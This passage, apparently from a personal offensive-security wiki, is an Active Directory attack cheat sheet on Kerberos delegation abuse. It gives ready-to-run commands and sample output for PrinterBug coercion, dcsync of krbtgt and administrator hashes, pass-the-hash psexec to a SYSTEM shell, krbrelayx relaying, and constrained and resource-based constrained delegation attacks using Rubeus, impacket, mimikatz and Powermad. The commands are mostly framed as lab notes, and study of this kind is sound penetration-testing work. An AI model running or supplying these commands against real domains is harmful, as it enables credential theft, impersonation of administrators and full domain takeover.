# 2 - Set the KRB5CCNAME environment variable to the path of the .ccache file:&lt;br /&gt;
export KRB5CCNAME=/path/to/your/file.ccache&lt;br /&gt;
# 3 - use psexec.py&lt;br /&gt;
psexec.py -k -no-pass PROD.CORP1.COM/admin@dc01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PrinterBug (from Windows) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method that does not rely on user interaction&lt;br /&gt;
# Check if the print spooler service is running on the domain controller:&lt;br /&gt;
PS C:\Tools&amp;gt; dir \\cdc01\pipe\spoolss&lt;br /&gt;
# Now we will oerce the SYSTEM account to authenticate locally via the MS-RPRN RPC interface.&lt;br /&gt;
# Instead of using mimikatz to see through many TGTs we will use rubeus instead. This will not write to disk!&lt;br /&gt;
# Launch rubeus in monitor mode and filter for the machine account cdc01.&lt;br /&gt;
Rubeus.exe monitor /interval:5 /filteruser:CDC01$&lt;br /&gt;
# Trigger the print spooler change notification&lt;br /&gt;
# DC01 is target machine, APPSRV01 is capture server&lt;br /&gt;
SpoolSample.exe CDC01 APPSRV01&lt;br /&gt;
# Now inject the base64 encoded ticket&lt;br /&gt;
Rubeus.exe ptt /ticket:[Base64EncodedTicket]&lt;br /&gt;
# The CDC01$ account has domain replication permissions, allowing for dcsync to dump password hashes.&lt;br /&gt;
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt&lt;br /&gt;
# With krbtgt NTLM hash we can craft a golden ticket.&lt;br /&gt;
# We can also dump the hash for the domain admin and&lt;br /&gt;
lsadump::dcsync /domain:prod.corp1.com /user:prod\administrator&lt;br /&gt;
impacket-psexec administrator@192.168.229.70 -hashes :2892d26cdf84d7a70e2eb33fc5rk56l7&lt;br /&gt;
[*] Requesting shares on 192.168.229.70.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file bUwUVqLI.exe&lt;br /&gt;
[*] Opening SVCManager on 192.168.229.70.....&lt;br /&gt;
[*] Creating service FyXV on 192.168.229.70.....&lt;br /&gt;
[*] Starting service FyXV.....&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PrinterBug (from Linux) ====&lt;br /&gt;
&lt;br /&gt;
[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dirkjanm/krbrelayx GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If MachineAccount is vulnerable to UC, but you have compromised credentials to that machine and have admin, use secrets dump to dump NTLM hash of the machineAccount.&lt;br /&gt;
# 0. Look for hostname and NTLM hash&lt;br /&gt;
impacket-secretsdump domain/user:password@targetIP&lt;br /&gt;
...&lt;br /&gt;
CORP\FILES01$NTLM-HASH&lt;br /&gt;
...&lt;br /&gt;
# 1. Edit the compromised account&#039;s SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)&lt;br /&gt;
addspn.py -u &#039;DOMAIN\CompromisedAccont&#039; -p &#039;LMhash:NThash&#039; -s &#039;HOST/attacker.DOMAIN_FQDN&#039; --additional &#039;DomainController&#039;&lt;br /&gt;
python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan&lt;br /&gt;
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account&#039;s SPNs&lt;br /&gt;
dnstool.py -u &#039;DOMAIN\CompromisedAccont&#039; -p &#039;LMhash:NThash&#039; -r &#039;attacker.DOMAIN_FQDN&#039; -d &#039;attacker_IP&#039; --action add &#039;DomainController&#039;&lt;br /&gt;
python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d  DC1.foo.lan&lt;br /&gt;
# 3. Check that the record was added successfully (after ~3 minutes)&lt;br /&gt;
nslookup attacker.DOMAIN_FQDN DomainController&lt;br /&gt;
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)&lt;br /&gt;
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys&lt;br /&gt;
krbrelayx.py --krbsalt &#039;DOMAINusername&#039; --krbpass &#039;password&#039;&lt;br /&gt;
# 4.b. or supply the right Kerberos long-term key directly&lt;br /&gt;
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE&lt;br /&gt;
sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword&lt;br /&gt;
# 5. Authentication coercion&lt;br /&gt;
# PrinterBug, PetitPotam, PrivExchange, ...&lt;br /&gt;
printerbug.py domain/&#039;vuln_account$&#039;@&#039;DC_IP&#039; -hashes LM:NT &#039;DomainController&#039;&lt;br /&gt;
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal&#039;s TGT.&lt;br /&gt;
# There should be a krbtgt ccache file in the current directory. And it can be used by&lt;br /&gt;
export KRB5CCNAME=`pwd`/&#039;krbtgt.ccache&#039;&lt;br /&gt;
$ python secretsdump.py -k DC1.foo.lan -just-dc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constrained Delegation ===&lt;br /&gt;
&lt;br /&gt;
If a user or computer is allowed for &amp;quot;Constrained Delegation&amp;quot; it will be able to &#039;&#039;&#039;impersonate any user to access some services in a computer&#039;&#039;&#039;. Then, if you &#039;&#039;&#039;compromise the hash&#039;&#039;&#039; of this user/computer you will be able to &#039;&#039;&#039;impersonate any user&#039;&#039;&#039; (even domain admins) to access some services.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# userAccountControl&lt;br /&gt;
# If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.&lt;br /&gt;
# msDS-AllowedToDelegateTo&lt;br /&gt;
# A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.&lt;br /&gt;
&lt;br /&gt;
# Enumerate from PowerView&lt;br /&gt;
Get-DomainUser -TrustedToAuth&lt;br /&gt;
Get-DomainComputer -TrustedToAuth&lt;br /&gt;
&lt;br /&gt;
# Kekeo.exe and Mimikatz.exe&lt;br /&gt;
# Obtain a TGT for the Constained allowed user&lt;br /&gt;
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d&lt;br /&gt;
# Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)&lt;br /&gt;
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL&lt;br /&gt;
# Load the TGS in memory&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
# Rubeus&lt;br /&gt;
# Obtain a TGT for the Constained allowed user&lt;br /&gt;
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi&lt;br /&gt;
# Obtain a TGS of the Administrator user to self&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator&lt;br /&gt;
# Obtain service TGS impersonating Administrator (CIFS)&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:&amp;quot;CIFS/dcorp-mssql.dollarcorp.moneycorp.local&amp;quot; /outfile:TGS_administrator_CIFS&lt;br /&gt;
# Impersonate Administrator on different service (HOST)&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:&amp;quot;CIFS/dcorp-mssql.dollarcorp.moneycorp.local&amp;quot; /altservice:HOST /outfile:TGS_administrator_HOST&lt;br /&gt;
# Load ticket in memory&lt;br /&gt;
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constrained Delegation 2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;S4U2Self&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Functionality&#039;&#039;&#039;: Allows a frontend service to request a TGS to the frontend service from a KDC on behalf of the user authenticating against it without needing the user&#039;s password or hash&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: If &#039;&#039;&#039;TRUSTED_TO_AUTH_FOR_DELEGATION&#039;&#039;&#039; is present in the useraccountcontrol property&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;S4U2Proxy&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Functionality&#039;&#039;&#039;: Requests a service ticket for the backend service on behalf of a user, depending on the service ticket obtained through S4U2Self or directly from a user authentication via Kerberos&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Can use a &#039;&#039;&#039;forwardable TGS&#039;&#039;&#039; supplied by the user if Kerberos is used for authentication to the frontend service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have compromised a user IISsvc that has these delegation rights&lt;br /&gt;
msds-allowedtodelegateto : {MSSQLSvc/cdc01.prod.corp1.com:1433, MSSQLSvc/cdc01.prod.corp1.com:SQLEXPRESS}&lt;br /&gt;
# First we are going to generate an NTLM hash from the password we compromised&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe hash /password:lab&lt;br /&gt;
# Requesting TGT for IISSvc with the asktgt command by supplying the&lt;br /&gt;
username (/user), domain (/domain), and NTLM hash (/rc4):&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E&lt;br /&gt;
# With the Base64-encoded TGT for IISSvc, we can use Rubeus&#039; s4u command. Provide the TGT using /ticket, the username (e.g., domain admin) with /impersonateuser (utilizing S4U2Self), the service&#039;s SPN with /msdsspn (for S4U2Proxy), and use /ptt to inject it into memory directly.&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe s4u /ticket:doIE+jGGBT... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt&lt;br /&gt;
# We now have the ticket for the service injected into memory and we can authenticate against MSSQL.&lt;br /&gt;
PS C:\Tools&amp;gt; klist                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Current LogonId is 0:0x2b28f                                                                                                                                                                                                                                                                                                                                                                                                                                                              Cached Tickets: (1)                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #0&amp;gt;     Client: administrator @ PROD.CORP1.COM                                                                                                                                                                                                       Server: mssqlsvc/cdc01.prod.corp1.com:1433 @ PROD.CORP1.COM                                                                                                                                                                                  KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)                                                                                                                                                                                              Ticket Flags 0x40a10000 -&amp;gt; forwardable renewable pre_authent name_canonicalize                                                                                                                                                               Start Time: 10/9/2023 12:42:35 (local)                                                                                                                                                                                                       End Time:   10/9/2023 22:35:29 (local)                                                                                                                                                                                                       Renew Time: 10/16/2023 12:35:29 (local)                                                                                                                                                                                                      Session Key Type: RSADSI RC4-HMAC(NT)                                                                                                                                                                                                        Cache Flags: 0                                                                                                                                                                                                                               Kdc Called:&lt;br /&gt;
.\SQL.exe&lt;br /&gt;
Auth success!&lt;br /&gt;
Logged in as: PROD\Administrator&lt;br /&gt;
...&lt;br /&gt;
# Since we have a ticket in memory for authenticating to mssql, we can use this to get code exectution. https://book.ghanim.no/?page_id=2703#Code_Execution&lt;br /&gt;
&lt;br /&gt;
# ATTACKING using kali and impacket&lt;br /&gt;
# First enumerate domain for constrained delegation using PowerView&lt;br /&gt;
Get-DomainUser -TrustedToAuth&lt;br /&gt;
# Look for&lt;br /&gt;
samaccountname           : iisservice&lt;br /&gt;
...&lt;br /&gt;
msds-allowedtodelegateto : {MSSQLSvc/sql01.domain.com:SQLEXPRESS, MSSQLSvc/sql01.domain.com:1433}&lt;br /&gt;
...&lt;br /&gt;
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION&lt;br /&gt;
# Constrained delegation is configured for the iisservice account.&lt;br /&gt;
# msds-allowedtodelegateto property contains the SPN of the MS SQL server on SQL01. Indicates that constrained delegation is only allowed to that SQL server.&lt;br /&gt;
# TRUSTED_TO_AUTH_FOR_DELEGATION - Value is used to indicate if a constrained delegation can be used if the authentication between the user and the service uses a different authentication mechanism like NTLM.&lt;br /&gt;
# Request a ticket. If you have a password remove -hashes&lt;br /&gt;
impacket-getTGT domain.com/iisservice -hashes :12bb0b468b42c76d48a3a5ec3b6ce5de&lt;br /&gt;
# Export to KRB5CCNAME&lt;br /&gt;
export KRB5CCNAME=iisservice.ccache&lt;br /&gt;
# iiservice acc is configured with constrained delegation, that means we can request service tickets for other users based on the SPNs set.&lt;br /&gt;
impacket-getST -spn mssqlsvc/sql01.domain.com:1433 -impersonate administrator domain.com/iisservice -k -no-pass&lt;br /&gt;
# Export the administrator ccache to KRB5CCNAME&lt;br /&gt;
export KRB5CCNAME=administrator.ccache&lt;br /&gt;
# Connect to sql01 using kerberos authentication&lt;br /&gt;
impacket-mssqlclient sql01.domain.com -k&lt;br /&gt;
# Or much easier way to obtain code exec if user is SA or DBO is to use MSSQL Pwner&lt;br /&gt;
MSSqlPwner.py sql01.corp.com -k -no-pass interactive&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Resource based Constrained Deleagation ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* RBCD is a security feature introduced in Windows Server 2012 by Microsoft. It&#039;s designed to offer a more secure delegation mechanism, reducing the need for elevated access rights, specifically the SeEnableDelegationPrivilege.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Extensions - S4U2Self and S4U2Proxy&#039;&#039;&#039;&lt;br /&gt;
Microsoft realized Kerberos needed some help with constrained delegation and the double-hop issue, so they created two add-ons.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;S4U2Self (Extension 1)&#039;&#039;&#039;&lt;br /&gt;
This lets a service prove your identity to another service without needing your password, as if it&#039;s you. It&#039;s like the service can show a digital ID card that says, &amp;quot;Trust me, I&#039;m acting for this user.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;S4U2Proxy (Extension 2)&#039;&#039;&#039;&lt;br /&gt;
After S4U2Self does its job, S4U2Proxy takes over. It allows the first service to talk to the second service on your behalf. It&#039;s as if the service has a special ticket that says, &amp;quot;The user has given me permission to do this.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RBCD Configuration&#039;&#039;&#039;: The delegation is controlled by the&#039;&#039;&#039; msDS-AllowedToActOnBehalfOfOtherIdentity&#039;&#039;&#039; property on the backend service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;: The need for &#039;&#039;&#039;SeEnableDelegationPrivilege&#039;&#039;&#039; permissions is eliminated. Backend service administrators can typically configure RBCD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Prerequisites&#039;&#039;&#039;: The frontend service must have an SPN set in the domain. While user accounts typically don&#039;t have an SPN set, all computer accounts do.&lt;br /&gt;
&lt;br /&gt;
See notes for Resourced box&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation]&lt;br /&gt;
&lt;br /&gt;
[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution Kerberos Resource-based Constrained Delegation: Computer Object Takeover - Red Team Notes (ired.team)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The attacker can pass-the-ticket and impersonate the user to gain access to the victim.&lt;br /&gt;
# To check the MachineAccountQuota of the domain you can use:&lt;br /&gt;
Get-DomainObject -Identity &amp;quot;dc=domain,dc=local&amp;quot; -Domain domain.local | select MachineAccountQuota&lt;br /&gt;
# Check if you have GenericWrite on a computer object.&lt;br /&gt;
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like &#039;*GenericWrite*&#039; }&lt;br /&gt;
&lt;br /&gt;
# From Windows&lt;br /&gt;
# Attack&lt;br /&gt;
# Creating a Computer Object&lt;br /&gt;
# You can create a computer object inside the domain using :&lt;br /&gt;
Import-Module .\powermad.ps1&lt;br /&gt;
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString &#039;123456&#039; -AsPlainText -Force) -Verbose&lt;br /&gt;
Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview&lt;br /&gt;
# Performing a complete S4U attack&lt;br /&gt;
# First of all, we created the new Computer object with the password 123456, so we need the hash of that password:&lt;br /&gt;
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local&lt;br /&gt;
# This will print the RC4 and AES hashes for that account.&lt;br /&gt;
# Now, the attack can be performed. Just use on of the hash types, not all of them :&lt;br /&gt;
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt&lt;br /&gt;
# You can generate more tickets just asking once using the /altservice param of Rubeus:&lt;br /&gt;
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt&lt;br /&gt;
### Note that users has an attribute called &amp;quot;Cannot be delegated&amp;quot;. If a user has this attribute to True, you won&#039;t be able to impersonate him . This property can be seen inside bloodhound.&lt;br /&gt;
# Accessing&lt;br /&gt;
# The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.&lt;br /&gt;
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:&lt;br /&gt;
ls \\victim.domain.local\C$&lt;br /&gt;
&lt;br /&gt;
# From Linux&lt;br /&gt;
# METHOD 2 - GETTING A SHELL&lt;br /&gt;
# Create a new machine account on the domain&lt;br /&gt;
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.200.175 -hashes : -computer-name &#039;FAKECOMPUTER$&#039; -computer-pass &#039;123456&#039;&lt;br /&gt;
# Verify that the machine account was added to the domain. Must be done through a shell on the Windows.&lt;br /&gt;
*Evil-WinRM* PS C:\Users\l.livingstone\Documents&amp;gt; Get-ADComputer FAKECOMPUTER&lt;br /&gt;
# Manage delegation rights by using rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account&lt;br /&gt;
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py&lt;br /&gt;
python3 rbcd.py -dc-ip 192.168.200.175 -t RESOURCEDC -f &#039;FAKECOMPUTER&#039; -hashes : resourced\\l.livingstone&lt;br /&gt;
# If you have the hash of the user&lt;br /&gt;
impacket-rbcd -action write -delegate-to &amp;quot;BACKUP01$&amp;quot; -delegate-from &amp;quot;FAKECOMPUTER$&amp;quot; resourced.local/l.livingstone -hashes :942f15864b02fdee9f742616ea1eb778&lt;br /&gt;
# Confirm that the action was successful&lt;br /&gt;
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents&amp;gt; Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentity&lt;br /&gt;
# We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.&lt;br /&gt;
/usr/bin/impacket-getST -spn cifs/resourcedc.resourced.local resourced/FAKECOMPUTEr$:&#039;123456&#039; -impersonate Administrator -dc-ip 192.168.200.175&lt;br /&gt;
# or&lt;br /&gt;
impacket-getST -spn cifs/resourcedc.resourced.local -impersonate administrator &#039;resourced.local/FAKECOMPUTER$:123456&#039;&lt;br /&gt;
# The ticket is aved on our attacker machine as Administrator.ccache. Export the environment variable named KRB5CCNAME with the location of file&lt;br /&gt;
export KRB5CCNAME=./Administrator.ccache&lt;br /&gt;
# Use psexec to get a shell&lt;br /&gt;
/usr/bin/impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.200.175&lt;br /&gt;
# or&lt;br /&gt;
impacket-psexec administrator@resourcedc.resourced.local -k -no-pass&lt;br /&gt;
&lt;br /&gt;
# From Windows&lt;br /&gt;
# Method 3&lt;br /&gt;
# Enumerate&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ |&lt;br /&gt;
Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID&lt;br /&gt;
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq&lt;br /&gt;
&amp;quot;$($env:UserDomain\$env:Username)&amp;quot;) {$_}}&lt;br /&gt;
# Creating a New Computer Account:&lt;br /&gt;
# Use the Powermad.ps1 script to create a new computer account named myComputer with the password &#039;h4x&#039;.&lt;br /&gt;
. .\powermad.ps1&lt;br /&gt;
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-&lt;br /&gt;
SecureString &#039;h4x&#039; -AsPlainText -Force)&lt;br /&gt;
# Setting up the Security Descriptor:&lt;br /&gt;
# Obtain the SID of the newly created computer account.&lt;br /&gt;
# Create a new security descriptor using the obtained SID.&lt;br /&gt;
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid&lt;br /&gt;
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))&amp;quot;&lt;br /&gt;
# Converting the Security Descriptor:&lt;br /&gt;
# Convert the security descriptor into a byte array format suitable for the msDS-AllowedToActOnBehalfOfOtherIdentity property.&lt;br /&gt;
$SDbytes = New-Object byte[] ($SD.BinaryLength)&lt;br /&gt;
$SD.GetBinaryForm($SDbytes,0)&lt;br /&gt;
# Updating the Property:&lt;br /&gt;
# Update the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer object (appsrv01).&lt;br /&gt;
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes}&lt;br /&gt;
# Verifying the Setup:&lt;br /&gt;
# Check the security descriptor to ensure it&#039;s set correctly.&lt;br /&gt;
$RBCDbytes = Get-DomainComputer appsrv01 -Properties &#039;msds-allowedtoactonbehalfofotheridentity&#039; | select -expand msds-allowedtoactonbehalfofotheridentity&lt;br /&gt;
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0&lt;br /&gt;
$Descriptor.DiscretionaryAcl&lt;br /&gt;
# Launching the Attack:&lt;br /&gt;
# Obtain the hash of the computer account password using Rubeus.&lt;br /&gt;
.\Rubeus.exe hash /password:h4x&lt;br /&gt;
# Use the S4U extensions with Rubeus to request a TGS for appsrv01, impersonating the administrator.&lt;br /&gt;
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221&lt;br /&gt;
/impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt&lt;br /&gt;
# Verifying the Attack:&lt;br /&gt;
# List the service ticket to CIFS on APPSRV01 using klist.&lt;br /&gt;
klist&lt;br /&gt;
# Gaining Access:&lt;br /&gt;
# Access the file services on appsrv01 as the administrator domain admin user.&lt;br /&gt;
dir \\appsrv01.prod.corp1.com\c$&lt;br /&gt;
# Getting shell&lt;br /&gt;
psexec.exe \\appsrv01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using NetExec for S4U2Self and S4U2Proxy ====&lt;br /&gt;
&lt;br /&gt;
New feature in [https://twitter.com/hashtag/NetExec?src=hashtag_click #NetExec] : S4U2Self and S4U2Proxy support and automation with --delegate and --self .&lt;br /&gt;
&lt;br /&gt;
It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities&lt;br /&gt;
&lt;br /&gt;
[https://twitter.com/_zblurx/status/1720409757175926893 (2) Thomas Seigneuret on X: &amp;quot;New feature in #NetExec : S4U2Self and S4U2Proxy support and automation with --delegate and --self It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities 🔥 For example with RBCD: https://t.co/1KgFDNcwcc&amp;quot; / X (twitter.com)]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
It is also possible to use only S4U2Self in order to impersonate any account on a domain joined computer for which you know the credentials:&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Desc from BloodHound ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Full control of a computer object can be used to perform a resource based constrained delegation attack. Abusing this primitive is currently only possible through the Rubeus project.&lt;br /&gt;
# First, if an attacker does not control an account with an SPN set, Kevin Robertson&#039;s Powermad project can be used to add a new attacker-controlled computer account:&lt;br /&gt;
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString &#039;Summer2018!&#039; -AsPlainText -Force)&lt;br /&gt;
# PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:&lt;br /&gt;
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid&lt;br /&gt;
# We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:&lt;br /&gt;
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&amp;quot;&lt;br /&gt;
$SDBytes = New-Object byte[] ($SD.BinaryLength)&lt;br /&gt;
$SD.GetBinaryForm($SDBytes, 0)&lt;br /&gt;
# Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we&#039;re taking over, again using PowerView in this case:&lt;br /&gt;
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes}&lt;br /&gt;
# We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:&lt;br /&gt;
Rubeus.exe hash /password:Summer2018!&lt;br /&gt;
# And finally we can use Rubeus&#039; *s4u* module to get a service ticket for the service name (sname) we want to &amp;quot;pretend&amp;quot; to be &amp;quot;admin&amp;quot; for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:&lt;br /&gt;
